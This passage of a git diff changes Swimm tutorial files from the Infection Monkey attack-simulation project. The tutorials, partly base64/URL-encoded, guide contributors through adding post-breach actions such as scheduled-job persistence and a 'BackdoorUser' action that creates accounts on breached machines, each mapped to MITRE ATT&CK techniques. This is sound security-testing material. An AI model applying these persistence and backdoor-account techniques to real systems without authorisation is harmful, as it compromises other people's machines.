"ZGlmZiUyMC0tZ2l0JTIwYSUyRm1vbmtleSUyRm1vbmtleV9pc2xhbmQlMkZjYyUyRnNlcnZpY2VzJTJGY29uZmlnX3NjaGVtYSUyRmRlZmluaXRpb25zJTJGcG9zdF9icmVhY2hfYWN0aW9ucy5weSUyMGIlMkZtb25rZXklMkZtb25rZXlfaXNsYW5kJTJGY2MlMkZzZXJ2aWNlcyUyRmNvbmZpZ19zY2hlbWElMkZkZWZpbml0aW9ucyUyRnBvc3RfYnJlYWNoX2FjdGlvbnMucHklMEFpbmRleCUyMGYxZmUwZjZmLi5jY2UzN2IyNCUyMDEwMDY0NCUwQS0tLSUyMGElMkZtb25rZXklMkZtb25rZXlfaXNsYW5kJTJGY2MlMkZzZXJ2aWNlcyUyRmNvbmZpZ19zY2hlbWElMkZkZWZpbml0aW9ucyUyRnBvc3RfYnJlYWNoX2FjdGlvbnMucHklMEElMkIlMkIlMkIlMjBiJTJGbW9ua2V5JTJGbW9ua2V5X2lzbGFuZCUyRmNjJTJGc2VydmljZXMlMkZjb25maWdfc2NoZW1hJTJGZGVmaW5pdGlvbnMlMkZwb3N0X2JyZWFjaF9hY3Rpb25zLnB5JTBBJTQwJTQwJTIwLTYyJTJDMTUlMjAlMkI2MiUyQzclMjAlNDAlNDAlMjBQT1NUX0JSRUFDSF9BQ1RJT05TJTIwJTNEJTIwJTdCJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIyUmVtb3ZlcyUyMHRoZSUyMGZpbGUlMjBhZnRlcndhcmRzLiUyMiUyQyUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMmF0dGFja190ZWNobmlxdWVzJTIyJTNBJTIwJTVCJTIyVDExNjYlMjIlNUQlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN0QlMkMlMEEtJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTdCJTBBLSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMnR5cGUlMjIlM0ElMjAlMjJzdHJpbmclMjIlMkMlMEEtJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIyZW51bSUyMiUzQSUyMCU1QiUwQS0lMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjJTY2hlZHVsZUpvYnMlMjIlMEEtJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTVEJTJDJTBBLSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMnRpdGxlJTIyJTNBJTIwJTIySm9iJTIwc2NoZWR1bGluZyUyMiUyQyUwQS0lMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjJpbmZvJTIyJTNBJTIwJTIyQXR0ZW1wdHMlMjB0byUyMGNyZWF0ZSUyMGElMjBzY2hlZHVsZWQlMjBqb2IlMjBvbiUyMHRoZSUyMHN5c3RlbSUyMGFuZCUyMHJlbW92ZSUyMGl0LiUyMiUyQyUwQS0lMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjJhdHRhY2tfdGVjaG5pcXVlcyUyMiUzQSUyMCU1QiUyMlQxMTY4JTIyJTJDJTIwJTIyVDEwNTMlMjIlNUQlMEEtJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTdEJTJDJTBBJTJCJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIzJTIwU3dpbW1lciUzQSUyMEFERCUyMERFVEFJTFMlMjBIRVJFISUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU3QiUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMnR5cGUlMjIlM0ElMjAlMjJzdHJpbmclMjIlMkMlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjJlbnVtJTIyJTNBJTIwJTVCJTBB", + "dod": "You should add your new PBA's details to the configuration.", + "description": "In order to make sure that the new `ScheduleJobs` PBA is shown in the configuration on the Monkey Island, you need to add its details to the configuration file(s).

\n\nSince this particular PBA is related to the MITRE techniques [T1168](https://attack.mitre.org/techniques/T1168) and [T1053](https://attack.mitre.org/techniques/T1053), make sure to link the PBA with these techniques in the configuration as well.

\n\nEach part of the configuration has an important role \n- *enum* β€” contains the relevant PBA's class name(s)\n- *title* β€” holds the name of the PBA which is displayed in the configuration on the Monkey Island\n- *info* β€” consists of an elaboration on the PBA's working which is displayed in the configuration on the Monkey Island\n- *attack_techniques* β€” has the IDs of the MITRE techniques associated with the PBA\n\n## Manual test \nOnce you think you're done...\n- Run the Monkey Island\n- You should be able to see your new PBA under the \"Monkey\" tab in the configuration, along with its information when you click on it\n- Further, when you enable/disable the associated MITRE techniques under the ATT&CK tab in the configuration, the PBA should also be enabled/disabled\n\n", + "summary": "- The PBA details in this file are reflected on the Monkey Island in the PBA configuration.\n- PBAs are also linked to the relevant MITRE techniques in this file, whose results can then be seen in the MITRE ATT&CK report on the Monkey Island.", + "diff": "diff --git a/monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py b/monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py\nindex f1fe0f6f..cce37b24 100644\n--- a/monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py\n+++ b/monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py\n@@ -68,16 +68,7 @@\n \"Removes the file afterwards.\",\n \"attack_techniques\": [\"T1166\"]\n },\n- {\n+ # Swimmer: ADD DETAILS HERE!\n- \"type\": \"string\",\n- \"enum\": [\n- \"ScheduleJobs\"\n- ],\n- \"title\": \"Job scheduling\",\n- \"safe\": True,\n- \"info\": \"Attempts to create a scheduled job on the system and remove it.\",\n- \"attack_techniques\": [\"T1168\", \"T1053\"]\n- },\n {\n \"type\": \"string\",\n \"enum\": [\n", "tests": [], "hints": [ "Have a look at the details of the other techniques." ], - "files": { + "app_version": "0.3.2", + "file_version": "1.0.4", + "swimmPatch": { "monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py": { - "index": [ - "f1fe0f6f..cce37b24", - "100644" - ], - "fileA": "monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py", - "fileB": "monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py", - "status": "MODIFIED", - "numLineDeletions": 9, - "numLineAdditions": 1, - "hunkContainers": [ - "JTdCJTIyaHVuayUyMiUzQSU3QiUyMmhlYWRlciUyMiUzQSUyMiU0MCU0MCUyMC02MiUyQzE1JTIwJTJCNjIlMkM3JTIwJTQwJTQwJTIwUE9TVF9CUkVBQ0hfQUNUSU9OUyUyMCUzRCUyMCU3QiUyMiUyQyUyMmNoYW5nZXMlMjIlM0ElNUIlN0IlMjJ0eXBlJTIyJTNBJTIyY29udGV4dCUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNUMlMjJSZW1vdmVzJTIwdGhlJTIwZmlsZSUyMGFmdGVyd2FyZHMuJTVDJTIyJTJDJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBNjIlMkMlMjJiJTIyJTNBNjIlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyY29udGV4dCUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNUMlMjJhdHRhY2tfdGVjaG5pcXVlcyU1QyUyMiUzQSUyMCU1QiU1QyUyMlQxMTY2JTVDJTIyJTVEJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBNjMlMkMlMjJiJTIyJTNBNjMlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyY29udGV4dCUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN0QlMkMlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0E2NCUyQyUyMmIlMjIlM0E2NCU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJkZWwlMjIlMkMlMjJtYXJrJTIyJTNBJTIyLSUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN0IlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0E2NSU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJkZWwlMjIlMkMlMjJtYXJrJTIyJTNBJTIyLSUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNUMlMjJ0eXBlJTVDJTIyJTNBJTIwJTVDJTIyc3RyaW5nJTVDJTIyJTJDJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBNjYlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyZGVsJTIyJTJDJTIybWFyayUyMiUzQSUyMi0lMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTVDJTIyZW51bSU1QyUyMiUzQSUyMCU1QiUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTY3JTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmRlbCUyMiUyQyUyMm1hcmslMjIlM0ElMjItJTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU1QyUyMlNjaGVkdWxlSm9icyU1QyUyMiUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTY4JTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmRlbCUyMiUyQyUyMm1hcmslMjIlM0ElMjItJTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU1RCUyQyUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTY5JTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmRlbCUyMiUyQyUyMm1hcmslMjIlM0ElMjItJTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU1QyUyMnRpdGxlJTVDJTIyJTNBJTIwJTVDJTIySm9iJTIwc2NoZWR1bGluZyU1QyUyMiUyQyUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTcwJTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmRlbCUyMiUyQyUyMm1hcmslMjIlM0ElMjItJTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU1QyUyMmluZm8lNUMlMjIlM0ElMjAlNUMlMjJBdHRlbXB0cyUyMHRvJTIwY3JlYXRlJTIwYSUyMHNjaGVkdWxlZCUyMGpvYiUyMG9uJTIwdGhlJTIwc3lzdGVtJTIwYW5kJTIwcmVtb3ZlJTIwaXQuJTVDJTIyJTJDJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBNzElN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyZGVsJTIyJTJDJTIybWFyayUyMiUzQSUyMi0lMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTVDJTIyYXR0YWNrX3RlY2huaXF1ZXMlNUMlMjIlM0ElMjAlNUIlNUMlMjJUMTE2OCU1QyUyMiUyQyUyMCU1QyUyMlQxMDUzJTVDJTIyJTVEJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBNzIlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyZGVsJTIyJTJDJTIybWFyayUyMiUzQSUyMi0lMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTdEJTJDJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBNzMlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyYWRkJTIyJTJDJTIybWFyayUyMiUzQSUyMiUyQiUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjMlMjBTd2ltbWVyJTNBJTIwQUREJTIwREVUQUlMUyUyMEhFUkUhJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJiJTIyJTNBNjUlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyY29udGV4dCUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN0IlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0E3NCUyQyUyMmIlMjIlM0E2NiU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU1QyUyMnR5cGUlNUMlMjIlM0ElMjAlNUMlMjJzdHJpbmclNUMlMjIlMkMlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0E3NSUyQyUyMmIlMjIlM0E2NyU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU1QyUyMmVudW0lNUMlMjIlM0ElMjAlNUIlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0E3NiUyQyUyMmIlMjIlM0E2OCU3RCU3RCU1RCUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQSU3QiUyMnN0YXJ0TGluZSUyMiUzQTYyJTJDJTIybGluZXNDb3VudCUyMiUzQTE1JTdEJTJDJTIyYiUyMiUzQSU3QiUyMnN0YXJ0TGluZSUyMiUzQTYyJTJDJTIybGluZXNDb3VudCUyMiUzQTclN0QlN0QlN0QlN0Q=" + "diffType": "MODIFIED", + "fileDiffHeader": "diff --git a/monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py b/monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py\nindex f1fe0f6f..cce37b24 100644\n--- a/monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py\n+++ b/monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py", + "hunks": [ + { + "swimmHunkMetadata": { + "hunkComments": [] + }, + "hunkDiffLines": [ + "@@ -68,16 +68,7 @@", + " \"Removes the file afterwards.\",", + " \"attack_techniques\": [\"T1166\"]", + " },", + "- {", + "+ # Swimmer: ADD DETAILS HERE!", + "- \"type\": \"string\",", + "- \"enum\": [", + "- \"ScheduleJobs\"", + "- ],", + "- \"title\": \"Job scheduling\",", + "- \"safe\": True,", + "- \"info\": \"Attempts to create a scheduled job on the system and remove it.\",", + "- \"attack_techniques\": [\"T1168\", \"T1053\"]", + "- },", + " {", + " \"type\": \"string\",", + " \"enum\": [" + ] + } ] } }, - "app_version": "0.1.90", - "file_version": "1.0.2" + "hunksOrder": [ + "monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py_0" + ], + "last_commit_sha_for_swimm_patch": "9d9e8168fb2c23367b9947273aa1a041687b3e2e" } \ No newline at end of file diff --git a/.swm/tbxb2cGgUiJQ8Btma0fp.swm b/.swm/tbxb2cGgUiJQ8Btma0fp.swm index e3be3fb14..e62725beb 100644 --- a/.swm/tbxb2cGgUiJQ8Btma0fp.swm +++ b/.swm/tbxb2cGgUiJQ8Btma0fp.swm @@ -1,75 +1,140 @@ { "id": "tbxb2cGgUiJQ8Btma0fp", "name": "Add a simple Post Breach action", - "dod": "WW91JTIwc2hvdWxkJTIwYWRkJTIwYSUyMG5ldyUyMFBCQSUyMHRvJTIwdGhlJTIwTW9ua2V5JTIwd2hpY2glMjBjcmVhdGVzJTIwYSUyMG5ldyUyMHVzZXIlMjBvbiUyMHRoZSUyMG1hY2hpbmUu", - "description": "UmVhZCUyMCU1Qm91ciUyMGRvY3VtZW50YXRpb24lMjBhYm91dCUyMGFkZGluZyUyMGElMjBuZXclMjBQQkElNUQoaHR0cHMlM0ElMkYlMkZ3d3cuZ3VhcmRpY29yZS5jb20lMkZpbmZlY3Rpb25tb25rZXklMkZkb2NzJTJGZGV2ZWxvcG1lbnQlMkZhZGRpbmctcG9zdC1icmVhY2gtYWN0aW9ucyUyRikuJTBBJTBBQWZ0ZXIlMjB0aGF0JTIwd2UlMjB3YW50JTIweW91JTIwdG8lMjBhZGQlMjB0aGUlMjBCYWNrZG9vclVzZXIlMjBQQkEuJTIwVGhlJTIwY29tbWFuZHMlMjB0aGF0JTIwYWRkJTIwdXNlcnMlMjBmb3IlMjBXaW4lMjBhbmQlMjBMaW51eCUyMGNhbiUyMGJlJTIwcmV0cmlldmVkJTIwZnJvbSUyMCU2MGdldF9jb21tYW5kc190b19hZGRfdXNlciU2MCUyMC0lMjBtYWtlJTIwc3VyZSUyMHlvdSUyMHNlZSUyMGhvdyUyMHRvJTIwdXNlJTIwdGhpcyUyMGZ1bmN0aW9uJTIwY29ycmVjdGx5LiUyMCUwQSUwQU5vdGUlMjB0aGF0JTIwdGhlJTIwUEJBJTIwc2hvdWxkJTIwaW1wYWN0JTIwdGhlJTIwVDExMzYlMjBNSVRSRSUyMHRlY2huaXF1ZSUyMGFzJTIwd2VsbCElMjAlMEElMEElMjMlMjBNYW51YWwlMjB0ZXN0JTIwdG8lMjBjb25maXJtJTBBJTBBMS4lMjBSdW4lMjB0aGUlMjBNb25rZXklMjBJc2xhbmQlMEEyLiUyME1ha2UlMjBzdXJlJTIweW91ciUyMG5ldyUyMFBCQSUyMGlzJTIwZW5hYmxlZCUyMGJ5JTIwZGVmYXVsdCUyMGluJTIwdGhlJTIwY29uZmlnJTIwLSUyMGZvciUyMHRoaXMlMjB0ZXN0JTJDJTIwZGlzYWJsZSUyMG5ldHdvcmslMjBzY2FubmluZyUyQyUyMGV4cGxvaXRpbmclMkMlMjBhbmQlMjBhbGwlMjBvdGhlciUyMFBCQXMlMEEzLiUyMFJ1biUyME1vbmtleSUwQTQuJTIwU2VlJTIwdGhlJTIwUEJBJTIwaW4lMjB0aGUlMjBzZWN1cml0eSUyMHJlcG9ydCUwQTUlMkMlMjBTZWUlMjB0aGUlMjBQQkElMjBpbiUyMHRoZSUyME1JVFJFJTIwcmVwb3J0JTIwaW4lMjB0aGUlMjByZWxldmFudCUyMHRlY2huaXF1ZSUwQQ==", - "summary": "VGFrZSUyMGElMjBsb29rJTIwYXQlMjB0aGUlMjBjb25maWd1cmF0aW9uJTIwb2YlMjB0aGUlMjBpc2xhbmQlMjBhZ2FpbiUyMC0lMjBzZWUlMjB0aGUlMjAlMjJjb21tYW5kJTIwdG8lMjBydW4lMjBhZnRlciUyMGJyZWFjaCUyMiUyMG9wdGlvbiUyMHdlJTIwb2ZmZXIlMjB0aGUlMjB1c2VyJTNGJTIwSXQncyUyMGltcGxlbWVudGVkJTIwZXhhY3RseSUyMGxpa2UlMjB5b3UlMjBkaWQlMjByaWdodCUyMG5vdyUyMGJ1dCUyMGVhY2glMjB1c2VyJTIwY2FuJTIwZG8lMjBpdCUyMGZvciUyMHRoZW1zZWx2ZXMuJTIwJTBBJTBBSG93ZXZlciUyQyUyMHdoYXQlMjBpZiUyMHRoZSUyMFBCQSUyMG5lZWRzJTIwdG8lMjBkbyUyMHN0dWZmJTIwd2hpY2glMjBpcyUyMG1vcmUlMjBjb21wbGV4JTIwdGhhbiUyMGp1c3QlMjBydW5uaW5nJTIwYSUyMGZldyUyMGNvbW1hbmRzJTNGJTIwSW4lMjB0aGF0JTIwY2FzZS4uLiUyMA==", - "diff": "ZGlmZiUyMC0tZ2l0JTIwYSUyRm1vbmtleSUyRmNvbW1vbiUyRmRhdGElMkZwb3N0X2JyZWFjaF9jb25zdHMucHklMjBiJTJGbW9ua2V5JTJGY29tbW9uJTJGZGF0YSUyRnBvc3RfYnJlYWNoX2NvbnN0cy5weSUwQWluZGV4JTIwYzNiYmE5OTUuLjAzMWY5YWQwJTIwMTAwNjQ0JTBBLS0tJTIwYSUyRm1vbmtleSUyRmNvbW1vbiUyRmRhdGElMkZwb3N0X2JyZWFjaF9jb25zdHMucHklMEElMkIlMkIlMkIlMjBiJTJGbW9ua2V5JTJGY29tbW9uJTJGZGF0YSUyRnBvc3RfYnJlYWNoX2NvbnN0cy5weSUwQSU0MCU0MCUyMC0xJTJDNSUyMCUyQjElMkM1JTIwJTQwJTQwJTBBJTIwUE9TVF9CUkVBQ0hfQ09NTVVOSUNBVEVfQVNfTkVXX1VTRVIlMjAlM0QlMjAlMjJDb21tdW5pY2F0ZSUyMGFzJTIwbmV3JTIwdXNlciUyMiUwQS1QT1NUX0JSRUFDSF9CQUNLRE9PUl9VU0VSJTIwJTNEJTIwJTIyQmFja2Rvb3IlMjB1c2VyJTIyJTBBJTJCJTIzJTIwU3dpbW1lciUzQSUyMFBVVCUyMFRIRSUyME5FVyUyMENPTlNUJTIwSEVSRSElMEElMjBQT1NUX0JSRUFDSF9GSUxFX0VYRUNVVElPTiUyMCUzRCUyMCUyMkZpbGUlMjBleGVjdXRpb24lMjIlMEElMjBQT1NUX0JSRUFDSF9TSEVMTF9TVEFSVFVQX0ZJTEVfTU9ESUZJQ0FUSU9OJTIwJTNEJTIwJTIyTW9kaWZ5JTIwc2hlbGwlMjBzdGFydHVwJTIwZmlsZSUyMiUwQSUyMFBPU1RfQlJFQUNIX0hJRERFTl9GSUxFUyUyMCUzRCUyMCUyMkhpZGUlMjBmaWxlcyUyMGFuZCUyMGRpcmVjdG9yaWVzJTIyJTBBZGlmZiUyMC0tZ2l0JTIwYSUyRm1vbmtleSUyRmluZmVjdGlvbl9tb25rZXklMkZwb3N0X2JyZWFjaCUyRmFjdGlvbnMlMkZhZGRfdXNlci5weSUyMGIlMkZtb25rZXklMkZpbmZlY3Rpb25fbW9ua2V5JTJGcG9zdF9icmVhY2glMkZhY3Rpb25zJTJGYWRkX3VzZXIucHklMEFpbmRleCUyMDU4YmU4OWExLi5kODQ3NmE5NyUyMDEwMDY0NCUwQS0tLSUyMGElMkZtb25rZXklMkZpbmZlY3Rpb25fbW9ua2V5JTJGcG9zdF9icmVhY2glMkZhY3Rpb25zJTJGYWRkX3VzZXIucHklMEElMkIlMkIlMkIlMjBiJTJGbW9ua2V5JTJGaW5mZWN0aW9uX21vbmtleSUyRnBvc3RfYnJlYWNoJTJGYWN0aW9ucyUyRmFkZF91c2VyLnB5JTBBJTQwJTQwJTIwLTElMkMxNSUyMCUyQjElMkM3JTIwJTQwJTQwJTBBLWZyb20lMjBjb21tb24uZGF0YS5wb3N0X2JyZWFjaF9jb25zdHMlMjBpbXBvcnQlMjBQT1NUX0JSRUFDSF9CQUNLRE9PUl9VU0VSJTBBLWZyb20lMjBpbmZlY3Rpb25fbW9ua2V5LmNvbmZpZyUyMGltcG9ydCUyMFdvcm1Db25maWd1cmF0aW9uJTBBJTIwZnJvbSUyMGluZmVjdGlvbl9tb25rZXkucG9zdF9icmVhY2gucGJhJTIwaW1wb3J0JTIwUEJBJTBBJTIwZnJvbSUyMGluZmVjdGlvbl9tb25rZXkudXRpbHMudXNlcnMlMjBpbXBvcnQlMjBnZXRfY29tbWFuZHNfdG9fYWRkX3VzZXIlMEElMjAlMEElMjAlMEElMjBjbGFzcyUyMEJhY2tkb29yVXNlcihQQkEpJTNBJTBBJTIwJTIwJTIwJTIwJTIwZGVmJTIwX19pbml0X18oc2VsZiklM0ElMEEtJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwbGludXhfY21kcyUyQyUyMHdpbmRvd3NfY21kcyUyMCUzRCUyMGdldF9jb21tYW5kc190b19hZGRfdXNlciglMEEtJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwV29ybUNvbmZpZ3VyYXRpb24udXNlcl90b19hZGQlMkMlMEEtJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwV29ybUNvbmZpZ3VyYXRpb24ucmVtb3RlX3VzZXJfcGFzcyklMEEtJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwc3VwZXIoQmFja2Rvb3JVc2VyJTJDJTIwc2VsZikuX19pbml0X18oJTBBLSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMFBPU1RfQlJFQUNIX0JBQ0tET09SX1VTRVIlMkMlMEEtJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwbGludXhfY21kJTNEJyUyMCcuam9pbihsaW51eF9jbWRzKSUyQyUwQS0lMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjB3aW5kb3dzX2NtZCUzRHdpbmRvd3NfY21kcyklMEElMkIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBwYXNzJTIwJTIwJTIzJTIwU3dpbW1lciUzQSUyMEltcGwlMjBoZXJlISUwQWRpZmYlMjAtLWdpdCUyMGElMkZtb25rZXklMkZtb25rZXlfaXNsYW5kJTJGY2MlMkZzZXJ2aWNlcyUyRmF0dGFjayUyRnRlY2huaXF1ZV9yZXBvcnRzJTJGVDExMzYucHklMjBiJTJGbW9ua2V5JTJGbW9ua2V5X2lzbGFuZCUyRmNjJTJGc2VydmljZXMlMkZhdHRhY2slMkZ0ZWNobmlxdWVfcmVwb3J0cyUyRlQxMTM2LnB5JTBBaW5kZXglMjAwODZhMWMxMy4uZGE5OWU4NmMlMjAxMDA2NDQlMEEtLS0lMjBhJTJGbW9ua2V5JTJGbW9ua2V5X2lzbGFuZCUyRmNjJTJGc2VydmljZXMlMkZhdHRhY2slMkZ0ZWNobmlxdWVfcmVwb3J0cyUyRlQxMTM2LnB5JTBBJTJCJTJCJTJCJTIwYiUyRm1vbmtleSUyRm1vbmtleV9pc2xhbmQlMkZjYyUyRnNlcnZpY2VzJTJGYXR0YWNrJTJGdGVjaG5pcXVlX3JlcG9ydHMlMkZUMTEzNi5weSUwQSU0MCU0MCUyMC0xJTJDNSUyMCUyQjElMkM1JTIwJTQwJTQwJTBBJTIwZnJvbSUyMGNvbW1vbi5kYXRhLnBvc3RfYnJlYWNoX2NvbnN0cyUyMGltcG9ydCUyMCglMEEtJTIwJTIwJTIwJTIwUE9TVF9CUkVBQ0hfQkFDS0RPT1JfVVNFUiUyQyUyMFBPU1RfQlJFQUNIX0NPTU1VTklDQVRFX0FTX05FV19VU0VSKSUwQSUyQiUyMCUyMCUyMCUyMFBPU1RfQlJFQUNIX0NPTU1VTklDQVRFX0FTX05FV19VU0VSKSUwQSUyMGZyb20lMjBtb25rZXlfaXNsYW5kLmNjLnNlcnZpY2VzLmF0dGFjay50ZWNobmlxdWVfcmVwb3J0cy5wYmFfdGVjaG5pcXVlJTIwaW1wb3J0JTIwJTVDJTBBJTIwJTIwJTIwJTIwJTIwUG9zdEJyZWFjaFRlY2huaXF1ZSUwQSUyMCUwQSU0MCU0MCUyMC0xMSUyQzQlMjAlMkIxMSUyQzQlMjAlNDAlNDAlMjBjbGFzcyUyMFQxMTM2KFBvc3RCcmVhY2hUZWNobmlxdWUpJTNBJTBBJTIwJTIwJTIwJTIwJTIwdW5zY2FubmVkX21zZyUyMCUzRCUyMCUyMk1vbmtleSUyMGRpZG4ndCUyMHRyeSUyMGNyZWF0aW5nJTIwYSUyMG5ldyUyMHVzZXIlMjBvbiUyMHRoZSUyMG5ldHdvcmsncyUyMHN5c3RlbXMuJTIyJTBBJTIwJTIwJTIwJTIwJTIwc2Nhbm5lZF9tc2clMjAlM0QlMjAlMjJNb25rZXklMjB0cmllZCUyMGNyZWF0aW5nJTIwYSUyMG5ldyUyMHVzZXIlMjBvbiUyMHRoZSUyMG5ldHdvcmsncyUyMHN5c3RlbXMlMkMlMjBidXQlMjBmYWlsZWQuJTIyJTBBJTIwJTIwJTIwJTIwJTIwdXNlZF9tc2clMjAlM0QlMjAlMjJNb25rZXklMjBjcmVhdGVkJTIwYSUyMG5ldyUyMHVzZXIlMjBvbiUyMHRoZSUyMG5ldHdvcmsncyUyMHN5c3RlbXMuJTIyJTBBLSUyMCUyMCUyMCUyMHBiYV9uYW1lcyUyMCUzRCUyMCU1QlBPU1R